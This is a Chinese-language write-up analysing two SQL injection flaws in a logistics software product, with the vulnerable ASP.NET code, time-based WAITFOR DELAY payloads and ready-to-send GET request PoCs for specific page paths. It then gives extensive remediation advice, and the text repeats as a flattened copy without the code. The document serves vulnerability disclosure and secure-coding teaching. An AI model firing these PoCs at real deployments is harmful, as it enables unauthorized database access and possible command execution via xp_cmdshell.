某物流软件存在sql注入漏洞分析
字数 1276 2025-08-22 18:37:22

SQL注入漏洞分析与防御教学文档

1. 漏洞概述

本物流系统存在多处SQL注入漏洞,攻击者可通过构造恶意SQL查询语句插入到Web表单或查询字符串中,欺骗服务器执行恶意SQL命令。这些漏洞可能导致:

  • 数据库信息泄露(包括账号密码)
  • 通过xp_cmdshell执行系统命令
  • 服务器被完全控制

2. 漏洞原理

SQL注入的核心原理是:应用程序未对用户输入进行充分验证和过滤,直接将用户输入拼接到SQL语句中执行。

2.1 危险函数和操作

  • QueryString:获取URL参数
  • ToString():将输入转换为字符串
  • 直接拼接SQL语句(如"SELECT ... WHERE LINKID = '" + strLINKID + "'"
  • xp_cmdshell:SQL Server扩展存储过程,可执行系统命令

3. 漏洞代码分析

3.1 第一处SQL注入漏洞

位置CompanysSysDeptGridSource.aspx页面

漏洞代码

if (base.Request.QueryString["LINKID"] != null) {
    this.strLINKID = base.Request.QueryString["LINKID"].ToString();
}

// 在GetCells方法中
string text = "SELECT GID,LINKID,DEPTNO,DEPTNAME,MANAGE1,MANAGE2,FINANCESOFTCODE,REMARK,CREATEUSER,CREATETIME,MODIFIEDUSER,MODIFIEDTIME FROM sys_dept WHERE LINKID = '" + this.strLINKID + "' ORDER BY DEPTNO ASC";

问题

  • LINKID参数直接从请求中获取,未经任何过滤或参数化处理
  • 直接拼接到SQL语句中

利用方式
构造恶意LINKID参数值:

';WAITFOR DELAY '0:0:5'--

拼接后的SQL语句:

SELECT ... FROM sys_dept WHERE LINKID = '';WAITFOR DELAY '0:0:5'--' ORDER BY DEPTNO ASC

POC

GET /Shipping/CompanysSysDeptGridSource.aspx?read=exist&showcount=10&LINKID=%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1

3.2 第二处SQL注入漏洞

位置AttributeAdapter.aspx页面

漏洞代码

if (base.Request.QueryString["attrid"] != null) {
    this.strAttributeID = base.Request.QueryString["attrid"].ToString().Trim();
}

string text = "";
if (this.strAttributeID != null) {
    text = " AND A.GID = '" + this.strAttributeID + "'";
}

string text2 = string.Format("SELECT A.GID,A.NAME,A.DESCRIPTION,A.DEFAULTVALUE,B.NAME AS TYPENAME,A.TYPEID from attribute as A INNER JOIN attribute_type as B ON A.TYPEID = B.GID WHERE 1 > 0 AND ISNULL(A.ISDELETE,0) <> 1 AND ISNULL(B.ISDELETE,0) <> 1 {0} ORDER BY A.DESCRIPTION ASC", text);

问题

  • attrid参数未经处理直接拼接到SQL语句
  • 使用string.Format拼接SQL语句,同样不安全

POC

GET /FeeCodes/AttributeAdapter.aspx?handle=attrinfo&attrid=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1

4. 漏洞危害

  1. 数据泄露:可获取数据库中的所有数据
  2. 权限提升:通过xp_cmdshell执行系统命令
  3. 服务器控制:上传木马,完全控制服务器
  4. 数据篡改:修改、删除数据库内容

5. 修复方案

5.1 参数化查询

使用参数化查询代替字符串拼接:

// 使用SqlParameter
string sql = "SELECT * FROM sys_dept WHERE LINKID = @linkid";
SqlCommand cmd = new SqlCommand(sql, connection);
cmd.Parameters.AddWithValue("@linkid", strLINKID);

5.2 输入验证

对所有输入参数进行严格验证:

// 验证LINKID是否为预期格式(如数字或特定格式的字符串)
if (!Regex.IsMatch(strLINKID, @"^[a-zA-Z0-9\-]+$")) {
    throw new ArgumentException("Invalid LINKID format");
}

5.3 最小权限原则

  • 数据库连接使用最小必要权限的账户
  • 禁用xp_cmdshell等危险存储过程

5.4 使用ORM框架

考虑使用Entity Framework等ORM框架,避免直接编写SQL语句。

5.5 错误处理

  • 不要将详细错误信息返回给客户端
  • 使用自定义错误页面

6. 防御措施

  1. 代码层面

    • 所有数据库操作使用参数化查询
    • 实施严格的输入验证
    • 使用安全的API和框架
  2. 架构层面

    • 部署WAF(Web应用防火墙)
    • 定期进行安全审计和代码审查
    • 实施安全开发生命周期(SDL)
  3. 运维层面

    • 定期更新和打补丁
    • 数据库配置安全加固
    • 监控和日志分析

7. 测试验证

修复后应进行以下测试:

  1. 尝试使用原有POC测试,应返回错误或无效结果
  2. 使用SQL注入测试工具扫描
  3. 进行全面的安全测试

8. 总结

SQL注入是最常见且危险的Web漏洞之一。通过本案例可以看出,简单的字符串拼接就能导致严重的安全问题。开发人员必须:

  1. 永远不要信任用户输入
  2. 始终使用参数化查询
  3. 实施深度防御策略
  4. 保持安全意识教育

通过综合应用上述修复方案和防御措施,可有效防止SQL注入攻击,保障系统安全。

SQL注入漏洞分析与防御教学文档 1. 漏洞概述 本物流系统存在多处SQL注入漏洞,攻击者可通过构造恶意SQL查询语句插入到Web表单或查询字符串中,欺骗服务器执行恶意SQL命令。这些漏洞可能导致: 数据库信息泄露(包括账号密码) 通过xp_ cmdshell执行系统命令 服务器被完全控制 2. 漏洞原理 SQL注入的核心原理是:应用程序未对用户输入进行充分验证和过滤,直接将用户输入拼接到SQL语句中执行。 2.1 危险函数和操作 QueryString :获取URL参数 ToString() :将输入转换为字符串 直接拼接SQL语句(如 "SELECT ... WHERE LINKID = '" + strLINKID + "'" ) xp_cmdshell :SQL Server扩展存储过程,可执行系统命令 3. 漏洞代码分析 3.1 第一处SQL注入漏洞 位置 : CompanysSysDeptGridSource.aspx 页面 漏洞代码 : 问题 : LINKID 参数直接从请求中获取,未经任何过滤或参数化处理 直接拼接到SQL语句中 利用方式 : 构造恶意 LINKID 参数值: 拼接后的SQL语句: POC : 3.2 第二处SQL注入漏洞 位置 : AttributeAdapter.aspx 页面 漏洞代码 : 问题 : attrid 参数未经处理直接拼接到SQL语句 使用 string.Format 拼接SQL语句,同样不安全 POC : 4. 漏洞危害 数据泄露 :可获取数据库中的所有数据 权限提升 :通过 xp_cmdshell 执行系统命令 服务器控制 :上传木马,完全控制服务器 数据篡改 :修改、删除数据库内容 5. 修复方案 5.1 参数化查询 使用参数化查询代替字符串拼接: 5.2 输入验证 对所有输入参数进行严格验证: 5.3 最小权限原则 数据库连接使用最小必要权限的账户 禁用 xp_cmdshell 等危险存储过程 5.4 使用ORM框架 考虑使用Entity Framework等ORM框架,避免直接编写SQL语句。 5.5 错误处理 不要将详细错误信息返回给客户端 使用自定义错误页面 6. 防御措施 代码层面 : 所有数据库操作使用参数化查询 实施严格的输入验证 使用安全的API和框架 架构层面 : 部署WAF(Web应用防火墙) 定期进行安全审计和代码审查 实施安全开发生命周期(SDL) 运维层面 : 定期更新和打补丁 数据库配置安全加固 监控和日志分析 7. 测试验证 修复后应进行以下测试: 尝试使用原有POC测试,应返回错误或无效结果 使用SQL注入测试工具扫描 进行全面的安全测试 8. 总结 SQL注入是最常见且危险的Web漏洞之一。通过本案例可以看出,简单的字符串拼接就能导致严重的安全问题。开发人员必须: 永远不要信任用户输入 始终使用参数化查询 实施深度防御策略 保持安全意识教育 通过综合应用上述修复方案和防御措施,可有效防止SQL注入攻击,保障系统安全。